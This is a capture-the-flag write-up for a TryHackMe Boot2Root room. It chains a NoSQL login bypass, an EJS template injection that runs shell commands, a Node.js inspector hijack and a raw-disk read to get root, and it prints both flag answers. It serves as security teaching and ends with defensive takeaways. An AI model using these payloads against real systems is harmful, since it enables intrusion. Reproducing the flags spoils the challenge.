

# The Byte Lotus Hotel — Boot2Root

## Writeup

---

TryHackMe · Hacker Holidays · Category: Boot2Root · Difficulty: Medium · 90 points

### Room Summary

---

The *Byte Lotus poolside platform* tracks every cabana, sunbed and warm session. Someone is already inside — the goal is to follow the intruder’s footprints in, climb the way they climbed, and recover both flags. The machine runs a Node.js (Express) web app with an exposed Node.js inspector port, and the final escalation is achieved via raw disk access.

### Flags

---

| Flag      | Value                             |
|-----------|-----------------------------------|
| Userrflag | THM{w4rm_s3ss10n_h1j4ck3d}        |
| Rooto     | THM{r4w_d1sk_4cc3ss_w4s_t00_much} |

t  
fl  
l  
a  
g

## 1. Reconnaissance

---

A full port scan revealed only two open services:

```
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 9.6p1 Ubuntu (Ubuntu Linux)
80/tcp    open  http     Node.js (Express middleware)
```

The web root (<http://10.48.177.169/>) is a login page for the *Byte Lotus* poolside platform. Directory fuzzing found:

- [/staff](#) — 403 (staff console, access controlled)
- [/logout](#) — 302

## 2. NoSQL Injection on the Login

---

The login endpoint [/login](#) accepts JSON (Express + `express.json()`), which is a classic sign of a document database (NeDB here). Operator injection into the query bypasses authentication:

```
POST /api/login HTTP/1.1

Host: 10.48.177.169

Content-Type: application/json
```

```
{"username":{"$ne":"guest"}, "password":{"$ne":null}}
```

```
HTTP/1.1 200 OK
```

```
{"ok":true,"role":"staff"}
```

```
Set-Cookie: connect.sid=s%3A...; Path=/; HttpOnly
```

Excluding `guest` forces the query to match the `attendant` account, which has the `staff` role. With this session cookie, `/staff` returns the **Cabana Desk** console.

### 3. EJS Server-Side Template Injection (SSTI) → RCE as poolside

The staff console has a *Confirmation template* textarea (EJS) with a preview feature. EJS renders the template server-side, so an EJS expression is executed:

```
POST /staff/preview
```

```
Cookie: connect.sid=s%3A...
```

```
template=<%=
```

```
process.mainModule.require('child_process').execSync('id').toString() %>
```

```
<pre>uid=996(poolside) gid=996(poolside) groups=996(poolside)</pre>
```

RCE as `poolside` confirmed. The `user.txt` flag was read from the service account's home directory:

```
$ cat /home/poolside/user.txt
```

```
THM{w4rm_s3ss10n_h1j4ck3d}
```

## 4. Node.js Inspector Hijack → RCE as pipelinesvc

---

Process enumeration revealed the *telemetry* service running with the inspector enabled:

```
USER          PID ... COMMAND
pipelin+      600 ... /usr/bin/node --inspect=127.0.0.1:9229 processor.js
poolside      602 ... /usr/bin/node app.js
```

The `lotus-telemetry.service` unit confirms it:

```
[Service]

User=pipelinesvc

Group=pipelinesvc

ExecStart=/usr/bin/node --inspect=127.0.0.1:9229 processor.js
```

The Node.js inspector (Chrome DevTools Protocol) was bound to `127.0.0.1:9229` — accessible from the box itself, but not externally. This is the room’s “*warm session*”: a debugging session running as `pipelinesvc`.

A small WebSocket client (Node 22 native `WebSocket`) was uploaded to `/tmp` and used to evaluate JavaScript inside the `processor.js` process via `Runtime.evaluate`:

```

GET http://127.0.0.1:9229/json/list

ws = new WebSocket(target.webSocketDebuggerUrl);

ws.send({id:1, method:"Runtime.evaluate", params:{

    expression:
`process.mainModule.require('child_process').execSync(Cmd).toString()`,

    returnByValue:true, awaitPromise:true }});

$ node /tmp/eval_ws.js 'id'

uid=995(pipelinesvc) gid=995(pipelinesvc) groups=995(pipelinesvc),6(disk)

```

RCE as `pipelinesvc` — and notably the account belongs to the **disk** group.

## 5. Raw Disk Access → Root Flag

With the `disk` group, the raw root filesystem block device is readable (`brw-rw---- root disk /dev/nvme0n1p1`). Filesystem permissions can be bypassed entirely by reading files straight off the disk with `debugfs`:

```

$ debugfs -R 'cat /root/root.txt' /dev/nvme0n1p1

debugfs 1.47.0 (5-Feb-2023)

THM{r4w_d1sk_4cc3ss_w4s_t00_much}

```

## 6. Attack Chain Summary

| # | Step | Result |
|---|------|--------|
|---|------|--------|

|   |                                                                                     |                                     |
|---|-------------------------------------------------------------------------------------|-------------------------------------|
| 1 | NoSQL injection ( <code>\$ne</code> ) on <code>/api/login</code>                    | Authenticated as <code>staff</code> |
| 2 | EJS SSTI in <code>/staff/preview</code>                                             | RCE as <code>poolside</code>        |
| 3 | Node inspector on <code>127.0.0.1:9229</code> via CDP <code>Runtime.evaluate</code> | RCE as <code>pipelinesvc</code>     |
| 4 | <code>disk</code> group + <code>debugfs</code> raw partition read                   | Root flag                           |

## 7. Key Takeaways

---

- JSON login endpoints should treat operators (`$ne`, `$gt`, `$regex`...) as untrusted — use parameterised/typed queries against document databases.
- Never run `ejs.render()` on user input; template engines are Turing-complete on the server.
- Never leave `--inspect` on a loopback-bound service; local users can still reach it (and even reverse-tunnel to it externally).
- The `disk` group on Linux is effectively root — group membership should be audited for service accounts.